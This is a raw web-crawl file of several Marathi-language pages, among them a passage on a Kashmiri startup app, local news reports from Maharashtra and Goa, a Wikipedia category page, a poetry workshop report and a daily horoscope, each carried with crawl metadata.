पूर्णपणे आपल्या व्यक्तिगत खर्चातून प्रारंभ केला. समोर आलेल्या अडचणीबद्दल बोलताना आबिद सांगतात की, “ आम्ही गेल्या ८ महिन्यापासून हा ऍप तयार करत होतो आणि १७ ऑक्टोबरला आम्ही याचे अनावरण करण्यात यशस्वी झालो. आमचा आतापर्यंतचा प्रवास खूपच शानदार आहे आणि यातून आम्हाला एक चांगली शिकवण देखील मिळाली आहे. आमच्या समोर हे आव्हान होते की, पुन्हा एकदा आम्हाला मेसेजिंग किंवा समूह संपर्क माध्यमातील ऍप तयार करायचे नव्हते. अशातच आम्ही एक वेगळी ओळख निर्माण करण्यात यशस्वी झालो.” ‘पाइप’ ‘गुगुल प्ले स्टोर’वर आल्यानंतर ते काही गुंतवणूकदारांच्या संपर्कात आहे, ज्यांनी त्यांच्या ऍप मध्ये रुची दाखवली आणि आता ते सकारात्मक होण्याच्या वाटेवर आहे.\nगेल्या एका महिन्यात या जोडीने आपल्या ‘पाइप’ ऍप मध्ये सुधारणा करत ६ वेळा अपडेट केले आहे. आबिद सांगतात की, “आम्ही सुरुवातीला एंड्राइड आधारित ऍप सोबत सुरुवात केली आहे आणि आम्ही आयोएस आणि विंडोज साठी नविन योजना आखण्याचे काम सुरु केले आहे. त्या व्यतिरिक्त आम्ही संकेतस्थळाच्या आवृत्तीबाबत देखील प्रयत्नशील आहोत. आम्ही ‘पाइप’ची पूर्वकल्पना अशा एका माहिती प्रसार सेवेच्या रुपात करत आहोत, जे विभिन्न उपकरणे आणि त्या जागेमध्ये कुठल्याही प्रकारचा भेदभाव करणार नाही.” त्या व्यतिरिक्त त्यांचे म्हणणे आहे की, वर्तमानात या दोघांचा उद्देश येणा-या भविष्यात अन्य एका ऍप च्या विकासावर लक्ष न देता, याच ऍपला अधिकाधिक उत्कृष्ट बनविण्याचा असेल.\nया तरुण संस्थापकांचा उद्देश वर्तमानात भारताव्यतिरिक्त जगात वाढणाऱ्या स्टार्टअपच्या गतीकडे लक्ष केंद्रित करण्याचा असेल. त्यांचे म्हणणे आहे की, वास्तवात तरुणांसाठी आम्हाला काहीतरी प्रेरणादायक बनवायचे आहे. जेणेकरून ते देखील या ऍपचा उपयोग काळाच्या वाढणा-या गतीसोबत घेतील. ते पुढे म्हणतात की, “ काश्मीरचे हजारो शिक्षित तरुण उत्पादक आणि फायदेशीर रोजगाराबाबत खूपच अंधकारमय संधीचा सामना करतात. जागतिक स्तरावर लक्ष दिले तर, बेरोजगार तरुणांसमोर देखील अशाच काही समस्या येतात. बेरोजगारीच्या या नकारात्मक प्रभावाव्यतिरिक्त येथील तरुण सामाजिक–सांस्कृतिक आव्हानांचा सामना करण्यासाठी देखील हतबल आहेत. काश्मीरचे स्थायी भविष्य अर्थव्यवस्थेच्या उत्पादीत क्षेत्रांमध्ये सध्याच्या नोकरीवर अवलंबून राहण्याव्यतिरिक्त यावर देखील निर्भर करते की, काश्मीरच्या तरुणांना या माध्यमातून आपल्या भविष्याच्या निर्मितीची परवानगी दिली जावी. एका स्टार्टअप संस्कृतीची निर्मिती आणि विकास हाच एकमेव रस्ता आहे, जो काश्मीर मध्ये रोजगाराच्या सृजन आणि तरुणांच्या सबलीकरणाच्या दिशेने उपयोगी पडेल.\nया तरुणी जागरूकता निर्माण करण्यासाठी गरीब महिलांना मोफत सॅनिटरी नॅपकिन्सचे वाटप करतात \nचेह-यात काही नसते, जयप्रकाशने अनेक अडचणी असूनही त्याच्या लहानपणीच्या मैत्रिणीशीच केले लग्न\nबंगळुरूच्या या दंतचिकित्सकाने भारताच्या वतीने ‘मिस व्हिलचेअर वर्ल्ड २०१७’ साठी नामांकन दाखल केले आहे\n. . . . . आणि एक अभागी 'वसईकर' पासवाला\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00325.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/marathwada/beating-mim-corporator-aurangabad-138309", "date_download": "2018-09-25T17:47:07Z", "digest": "sha1:J5PJ4OAS6CCHCIQPYFSIOUL76YR2AEF7", "length": 13037, "nlines": 176, "source_domain": "www.esakal.com", "title": "Beating to MIM Corporator in Aurangabad 'एमआयएम'च्या नगरसेवकाला मारहाण | eSakal", "raw_content": "\nशनिवार, 18 ऑगस्ट 2018\nऔरंगाबाद - माजी पंतप्रधान अटलबिहारी वाजपेयी यांना श्रद्धांजली अर्पण करण्याच्या प्रस्तावाला विरोध करीत \"बाबरी पाडल्याची घटना आम्ही अद्याप विसरलेलो नाही,' असे वक्तव्य करणारे \"एमआयएम'चे नगरसेवक सय्यद मतीन यांना महापालिकेच्या आज झालेल्या सर्वसाधारण सभेत बेदम मारहाण करण्यात आली. भाजपच्या एका नगरसेविकेने चपलेने चोप दिला; तर इतरांनी लाथा-बुक्‍क्‍यांनी मारहाण केली.\nऔरंगाबाद - माजी पंतप्रधान अटलबिहारी वाजपेयी यांना श्रद्धांजली अर्पण करण्याच्या प्रस्तावाला विरोध करीत \"बाबरी पाडल्याची घटना आम्ही अद्याप विसरलेलो नाही,' असे वक्तव्य करणारे \"एमआयएम'चे नगरसेवक सय्यद मतीन यांना महापालिकेच्या आज झालेल्या सर्वसाधारण सभेत बेदम मारहाण करण्यात आली. भाजपच्या एका नगरसेविकेने चपलेने चोप दिला; तर इतरांनी लाथा-बुक्‍क्‍यांनी मारहाण केली.\nया घटनेनंतर मतीन यांना सर्वसाधारण सभेत कायमस्वरूपी बंदी घालण्याचा ठराव मंजूर करण्यात आला, तर नगरसेवकपद रद्द करण्यासाठी शासनाकडे शिफारस करण्याचे आदेश महापौर नंदकुमार घोडेले यांनी प्रशासनाला दिले. दरम्यान, मतीन समर्थकांनी महापालिका मुख्यालयाबाहेर भाजपच्या संघटनमंत्र्याच्या जीपवर हल्ला करीत चालकाला बेदम मारहाण केल्याने तणाव निर्माण झाला. त्यामुळे मोठा पोलिस बंदोबस्त तैनात करण्यात आला आहे. माजी पंतप्रधान अटलबिहारी वाजपेयी यांचे निधन झाल्याने त्यांना श्रद्धांजली अर्पण करण्याचा प्रस्ताव स्थायी समिती सभापती राजू वैद्य यांनी मांडला.\nमहापौरांनी श्रद्धांजलीपर मते मांडण्यासाठी नगरसेवकांना संधी दिल्यानंतर सय्यद मतीन उभे राहिले. त्यांनी \"बाबरी मशीद पाडल्याची घटना आम्ही अद्याप विसरलेलो नाही,' असे सांगत \"श्रद्धांजलीच्या प्रस्तावाला विरोध आहे,' असे वक्तव्य केले. त्यानंतर महापौरांसह भाजप नगरसेवकांनी, \"भारतरत्न पदवी असलेल्या माजी पंतप्रधानांबद्दल बोलण्याची लायकी आहे का' असा जाब विचारत मतीन यांना जाब विचारत लाथा-बुक्‍क्‍यांनी मारहाण केली. इतर नगरसेवकांनी व सुरक्षारक्षकांनी मतीन यांची सुटका करीत त्यांना सभागृहाबाहेर काढले.\nअनैतिक संबंधातून खून; दोघांना जन्मठेप\nनाशिक : अनैतिक संबंधावरून दम दिल्याच्या रागातून आरोपीने साथीदाराच्या मदतीने प्रेयसीचा पती दशरथ ठमके यांचा निर्घृणपणे खून केला. त्यानंतर पुरावा...\nउदयनराजेंबाबत शरद पवारांचा 'यॉर्कर' \nसातारा : उदयनराजेंच्या उमेदवारीला सातारा जिल्ह्यातील राष्ट्रवादीच्या आमदारांचा विरोध अशा बातम्या पसरत आहेत. तोपर्यंतच राष्ट्रवादी काँग्रेसचे...\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nगोवा : आमदार गावकरांचा वन महामंडळ अध्यक्षाचा राजीनामा\nपणजी : राज्यातील भाजप सरकारला पाठिंबा दिलेले सांगेचे अपक्ष आमदार प्रसाद गावकर यांनी आज गोवा वन विकास महामंडळाच्या अध्यक्षपदाचा राजीनामा दिला...\nऔषध व्यापार 'बंद' आंदोलनात साक्री तालुका केमिस्ट सहभागी\nनिजामपूर-जैताणे (धुळे) : साक्री तालुक्यातील निजामपूर, पिंपळनेर, दहीवेल, कासारे व म्हसदी येथे केमिस्ट असोसिएशनच्या तालुका पदाधिकाऱ्यांनी नुकत्याच औषध...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00326.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://mr.wikipedia.org/wiki/%E0%A4%B5%E0%A4%B0%E0%A5%8D%E0%A4%97:%E0%A4%87.%E0%A4%B8.%E0%A4%9A%E0%A5%8D%E0%A4%AF%E0%A4%BE_%E0%A5%AD%E0%A5%A7%E0%A5%A6_%E0%A4%9A%E0%A5%8D%E0%A4%AF%E0%A4%BE_%E0%A4%A6%E0%A4%B6%E0%A4%95%E0%A4%BE%E0%A4%A4%E0%A5%80%E0%A4%B2_%E0%A4%B5%E0%A4%B0%E0%A5%8D%E0%A4%B7%E0%A5%87", "date_download": "2018-09-25T16:43:46Z", "digest": "sha1:TQVFZW3WBUL7HOEN4BLBRZEK46THO6VL", "length": 3401, "nlines": 72, "source_domain": "mr.wikipedia.org", "title": "वर्ग:इ.स.च्या ७१० च्या दशकातील वर्षे - विकिपीडिया", "raw_content": "\nवर्ग:इ.स.च्या ७१० च्या दशकातील वर्षे\nहा इ.स.च्या ७१० च्या दशकातील इ.स.च्या सर्व वर्षांचा वर्ग आहे.\n\"इ.स.च्या ७१० च्या दशकातील वर्षे\" वर्गातील लेख\nएकूण १० पैकी खालील १० पाने या वर्गात आहेत.\nइ.स.चे ७१० चे दशक\nयेथे काय जोडले आहे\nया पानातील शेवटचा बदल २ मार्च २०१७ रोजी २३:०६ वाजता केला गेला.\nयेथील मजकूर हा क्रियेटीव्ह कॉमन्स अट्रीब्युशन/शेअर-अलाईक लायसन्स या अंतर्गत उपलब्ध आहेत;अतिरिक्त अटी लागू असू शकतात. अधिक माहितीसाठी हे बघा वापरण्याच्या अटी.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00326.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Goa/Interim-bail-to-Babu-Kavalekar/", "date_download": "2018-09-25T16:57:07Z", "digest": "sha1:DUPZVBYI5KMODZ4ZUD4HW2G6HLO6NWIP", "length": 7284, "nlines": 39, "source_domain": "www.pudhari.news", "title": " बाबू कवळेकर यांना अंतरिम जामीन | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Goa › बाबू कवळेकर यांना अंतरिम जामीन\nबाबू कवळेकर यांना अंतरिम जामीन\nविरोधी पक्ष नेते आमदार बाबू कवळेकर यांनी बेहिशेबी मालमत्ता प्रकरणी अटक होईल या भीतीने अटकपूर्व जामिनासाठी केलेल्या अर्जावर गुरुवारी मडगावच्या सत्र न्यायालयात सुनावणी होऊन येत्या सोमवारपर्यंत त्यांना अंतरिम जामीन मंजूर करण्यात आला. पुढील सुनावणी 12 फेब्रुवारी रोजी ठेवण्यात आली आहे.\nदक्षिण गोव्याचे प्रधान सत्र न्यायाधीश बी. पी. देशपांडे यांनी गुरुवारी हा अंतरिम जामीन दिला. एसीबीने 2013 मध्ये कवळेकर यांच्या विरोधात बेहिशेबी मालमत्ता प्रकरणी केलेल्या तक्रारीनंतर पुन्हा 2017 साली याच प्रकरणी त्यांच्यावर एफआयआर नोंदवण्यात आला होता. याप्रकरणी चौकशीसाठी कवळेकर यांनी 1 फेब्रुवारी रोजी एसीबीच्या कार्यालयात हजर राहावे, अशी नोटीस बजावल्यामुळे कवळेकर यांनी वरील अटकपूर्व जामिनासाठी अर्ज केला होता.\nवकील सुरेंद्र देसाई यांनी बाबू कवळेकर यांच्यावतीने बाजू मांडली.\nभाजपला काँग्रेस पक्ष आपले सरकार पाडणार, अशी भीती असल्याने ते आपल्यावर खोटी प्रकरणे दाखल करत आहेत. यासाठीच पोलिसांकडूनही आपली छळवणूक केली जात आहे, असे बाबू कवळेकर यांनी अर्जात म्हटले होते.\nबाबू कवळेकर यांनी यापूर्वी सादर केलेल्या अर्जातही बेहिशेबी मालमत्ता प्रकरण किंवा भ्रष्टाचार प्रतिबंधक प्रकरणी होत असलेल्या आरोपांशी आपला कसलाच संबंध नसल्याचे सांगितले होते. शिवाय आपल्याला विनाकारण या प्रकरणात गोवण्यात येत आहे, असेही म्हटले होते.\nकवळेकरांना एसीबीचे पुन्हा समन्स\nपणजी : बेहिशेबी मालमत्ताप्रकरणी विरोधी पक्षनेते चंद्रकांत उर्फ बाबू कवळेकर यांना भ्रष्टाचार विरोधी पथकाने (एसीबी) पुन्हा एकदा समन्स बजावले आहे. कवळेकर यांना आज, शुक्रवारी सकाळी 11 वाजता चौकशीसाठी बोलवण्यात आले आहे. सुमारे 4 कोटी रुपयांच्या या बेहिशेबी मालमत्तेप्रकरणी कवळेकर यांना सोमवार दि. 5 रोजी चौकशीसाठी एसीबीने बोलावले होते. परंतु आगामी अर्थसंकल्पाच्या कामात व्यग्र असल्याने येऊ शकत नसल्याचे कारण देऊन ते चौकशीसाठी गैरहजर राहिले होते. मडगाव न्यायालयाने त्यांना अटकपूर्व जामीन मंजूर केल्याने एसीबीने त्यांना पुन्हा समन्स बजावले आहे. कवळेकर व त्यांची पत्नी सावित्री कवळेकर यांच्या विरोधात बेहिशेबी मालमत्तेप्रकरणी सप्टेंबर 2017 मध्ये एफआयआर नोंद करण्यात आला होता.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00327.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Konkan/Ratnagiri-weapon-license-Record/", "date_download": "2018-09-25T17:31:21Z", "digest": "sha1:F6FNX72YIKXFHON6SUG6KFDET5ZQ5UTK", "length": 6898, "nlines": 35, "source_domain": "www.pudhari.news", "title": " शस्त्र परवाना नोंद झाली हायटेक | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Konkan › शस्त्र परवाना नोंद झाली हायटेक\nशस्त्र परवाना नोंद झाली हायटेक\nशेतीसाठी आणि स्वसंरक्षणासाठी वापरण्यात येणार्‍या शस्त्रांची माहितीचे संकलन अद्ययावत करण्यासाठी शस्त्र परवान्यांची नोंद आता राष्ट्रीय प्रणालीवर करण्यात येणार आहे. त्यामुळे अधिकृत परवनाधारक शस्त्रधार्‍यांची माहिती एका क्‍लिकवर उपलब्ध होणार आहे. केंद्र शासनाच्या गृह मंत्रालयामार्फत 1 एप्रिल 2016 पर्यंतच्या शस्त्र परवानाधारक, शस्त्र दुरुस्ती, खरेदी-विक्री परवानाधारकांची माहिती राष्ट्रीय प्रणालीमध्ये नोंदविण्याची मुदत 31 मार्च 2018 पर्यंत करण्यात आली आहे. आगामी निवडणुकांच्या पार्श्‍वभूमीवर ही खबरदारी घेण्यात येत आहे. शेतीसाठी आणि स्वसंरक्षणासाठी शस्त्र बाळगण्याची मुभा संरक्षण कायद्यानुसार देण्यात आली आहे. मात्र, या परवान्यांचा कधीकधी गैरवापर होण्याची शक्यता असते. कोकणात शेतीसाठी शस्त्र परवाना घेऊन त्याचा उपयोग शिकारीसाठी सर्रास केला जातो. यातून या आधीही अपवादात्मक अशा गंभीर घटना घडल्या आहेत. या आधी शस्त्र परवान्यांची माहिती विभागापुरती मर्यादित होती. मात्र, आता ती केंद्रीय स्तरावर संकलित करण्यात येणार आहे.\nयासाठी जिल्हा प्रशासनांना शस्त्र बाळगणार्‍यांची अद्ययावत माहिती अहवाल देण्याची सूचना करण्यात आली आहे. यानुसार शस्त्र बाळगणार्‍या परवानाधारकांनी याची नोंद राष्ट्रीय शस्त्र परवाना प्रणालीवर करायची आाहे. जे परवानाधारक याची नोंद घेणार नाहीत, त्यांचे शस्त्र परवाने रद्द करण्याच्या सूचनाही देण्यात आल्या आहेत. यामुळे शस्त्र परवानाधारक, शस्त्र दुरुस्ती, खरेदी-विक्री परवानाधारकांची माहिती एका क्‍लिकवर उपलब्ध होणार आहे. या प्रणालीद्वारे माहिती अद्ययावत केल्यानंतर प्रत्येक परवानाधारकास विशिष्ट ओळख क्रमांक (युनिक कोड)देण्यात येणार आहे.\nया माहितीमध्ये परवानाधारकाची संपूर्ण माहिती, शस्त्राची तसेच शस्त्र उत्पादक व वितरक आदींची माहिती भरणे आवश्यक आहे. ही माहिती भरल्यानंतर प्रत्येक परवानाधारकास विशिष्ट ओळख क्रमांक घेणे बंधनकारक असून असा क्रमांक न घेतल्यास संबंधित शस्त्र परवानाधारकांचा शस्त्र परवाना रद्द होणार आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00327.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/458608", "date_download": "2018-09-25T17:44:20Z", "digest": "sha1:UJ2GGGBI2ECYTCKAPT25ACZYWNQKDBEX", "length": 7331, "nlines": 41, "source_domain": "www.tarunbharat.com", "title": "पात्राच्या मनातले भाव टिपता आले तर कविता सापडते - भीमराव धुळूबुळू - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » आवृत्ती » कोल्हापुर » पात्राच्या मनातले भाव टिपता आले तर कविता सापडते – भीमराव धुळूबुळू\nपात्राच्या मनातले भाव टिपता आले तर कविता सापडते – भीमराव धुळूबुळू\nसाहित्य हे त्या त्या काळाचं भान टिपणारं रूप आहे. भारूड, सुनीत, गझल, मुक्त छंद, कविता यातून भाव व्यक्त होत असतो. सतत डोळे उघडे ठेवून काव्यलेखन करायला हवे. गझलची बाराखडी समजून घ्यायला हवी. कवी सजगतेचे भान टिपतो. अनुभव कवितेत पकडता आला पाहिजे. पात्राच्या मनातले भाव टिपता आले तर कविता सापडते. झपाटून वाचनासाठी वेडे व्हा, प्रतिभा समजून घ्या.- असे प्रतिपादन दमसाचे उपाध्यक्ष कवी भीमराव धुळूबुळू यांनी केले.\nहलकर्णी येथील यशवंतराव चव्हाण महाविद्यालयात आयोजित ‘सर्जनशील नवलेखक’ कार्यशाळेत ते बोलत होते. अध्यक्षस्थानी डॉ. पी. वाय. निंबाळकर होते.\nस्वागत प्राचार्य डॉ. पी. वाय. निंबाळकर यांनी केले. प्रास्ताविक डॉ. चंद्रकांत पोतदार यांनी केले. साहित्यिक प्रा. मोहन पाटील म्हणाले, साहित्याच अनुभव कथन महत्वाच. पात्र रूपातली माणसं वाचा. सृजनातून सर्जनाकडे जाणारं साहित्य अक्षर साहित्य होय. रंग, रस, स्पर्श, ज्ञान यातून सर्जनता घडते. श्रवणशक्ती ही श्रवणसंस्कृती बनावी. चिन्हाची भाषा येते आहे. सामाजिक दस्तऐवजच इतिहास निर्माण करतो. लेखक प्रामाणिक असावा लागतो.\nकवी महेश कराडकर म्हणाले, स्वतःला प्रश्न करीत चला. आपल्याकडील गुणांची दखल घ्यायला हवी. भोवतालचा निसर्ग बघा. संवेदनशीलता ही जगण्याची महत्वाची बाजू होय. लेखकाला वर्तमानाशी जुळवून घेता यायला हवे. प्रयत्न हा मुळापासून असावा. संवेदनशीलता आणि श्रवणशक्ती माणसाला घडवते. माणसाकडे छंद असावेत. स्वतःचे अस्तित्व सिध्द करा. आवडीचं क्षेत्र निवडा. माणूस म्हणून घडा. प्रारंभी मान्यवरांच्या शुभहस्ते सरस्वती पुजन व दीपप्रज्वलन करून कार्यशाळेचे उद्घाटन झाले. प्राचार्य डॉ. पी. वाय. निंबाळकर म्हणाले, साहित्याची गोडी लागावी म्हणून अशा कार्यशाळा उपयुक्त असतात. दमसाने कार्यशाळा देऊन सहकार्य केल्याबद्दल कृतज्ञता व्यक्त केली. सूत्रसंचालन रेखा सुतार यांनी केले. आभार प्रमोद चांदेकर यांनी मानले.\nलोखंडी कॉट अंगावर पडून बालकाचा मृत्यू\nयंत्रमाग कामगारांना मजुरीवाढ देणे अशक्य\nइंदुरीकर महाराज यांच्या प्रवचनाचा सर्वांनी लाभ घ्यावा\nपिसाळलेल्या कुत्र्याचा हळदी बेनिपेत चौघांना चावा\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00327.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/479272", "date_download": "2018-09-25T17:16:12Z", "digest": "sha1:KOUWS5FNNVJXMSEKKPRKT3KER22HR3N6", "length": 3993, "nlines": 48, "source_domain": "www.tarunbharat.com", "title": "आजचे भविष्य सोमवार दि. 1 मे 2017 - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » भविष्य » आजचे भविष्य सोमवार दि. 1 मे 2017\nआजचे भविष्य सोमवार दि. 1 मे 2017\nमेष: कठोर शत्रूदेखील तुमचे म्हणणे शांतपणे ऐकतील.\nवृषभ: स्थावर मालमत्ता व वाहनलाभ होण्याचे योग.\nमिथुन: एखाद्या व्यक्तीचा हातगुण तुमची प्रगती करेल.\nकर्क: कामाचा व्याप वाढवा, प्रगतीपथावर रहाल.\nसिंह: कौटुंबिक जीवन सुखी व सर्व कार्यात मोठे यश लाभेल.\nकन्या: अध्यात्मिक क्षेत्रात उत्तम यश, दैवी कृपेचे अनुभव येतील.\nतुळ: घरात मंगलकार्याचे योग अथवा वाटाघाटी होतील.\nवृश्चिक: शिक्षणामुळे नावलौकिक व सत्कार होतील.\nधनु: ध्यानीमनी नसता प्रवास तसेच व्यवसायाची संधी येईल.\nमकर: अंतरजातीय प्रेमप्रकरणे यशस्वीरित्या हाताळाल.\nकुंभ: स्वतंत्र धंद्यात उत्तम यश, योग्य मार्ग निवडा.\nमीन: परबुद्धीने कोणतेही निर्णय घेऊ नयेत, नुकसान होईल.\nआजचे भविष्य मंगळवार दि. 13 जून 2017\nआजचे भविष्य गुरुवार दि. 3 मे 2018\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00327.warc.wet.gz", "language": "mr", "language_score": 0.83, "bucket": "all"} {"url": "https://lokmat.news18.com/amp/videsh/president-trump-welcomes-3-americans-freed-by-north-korea-289725.html", "date_download": "2018-09-25T17:03:28Z", "digest": "sha1:TYP2SSAUW2LKLDF47GH23JTY3KH7YJZB", "length": 2193, "nlines": 25, "source_domain": "lokmat.news18.com", "title": "Lokmat News - अटकेतल्या तीन अमेरिकन नागरिकांची उत्तर कोरियानं केली सुटका!–News18 Lokmat", "raw_content": "\nअटकेतल्या तीन अमेरिकन नागरिकांची उत्तर कोरियानं केली सुटका\nअटकेत असलेल्या अमेरिकेच्या तीन नागरिकांची आज उत्तर कोरियानं सुटका केली. अमेरिका आणि उत्तर कोरियातला वैरभाव कमी होण्याच्या दृष्टीनं ही घटना महत्वाची मानली जाते.\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\n‘गणेशोत्सवाचं मॅनेजमेंट’ : पुण्याच्या संस्कृतीचा संपन्न वारसा, श्रीमंत दगडूशेठ हलवाई गणपती\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00327.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/%E0%A4%AA%E0%A5%8B%E0%A4%B2%E0%A5%80%E0%A4%B8-%E0%A4%95%E0%A4%B0%E0%A5%8D%E0%A4%AE%E0%A4%9A%E0%A4%BE%E0%A4%B0%E0%A5%80/news/", "date_download": "2018-09-25T16:56:57Z", "digest": "sha1:VMBHGA6FQJJ3POF7C7ORHXR4WIK6LM2L", "length": 11372, "nlines": 142, "source_domain": "lokmat.news18.com", "title": "पोलीस कर्मचारी- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ 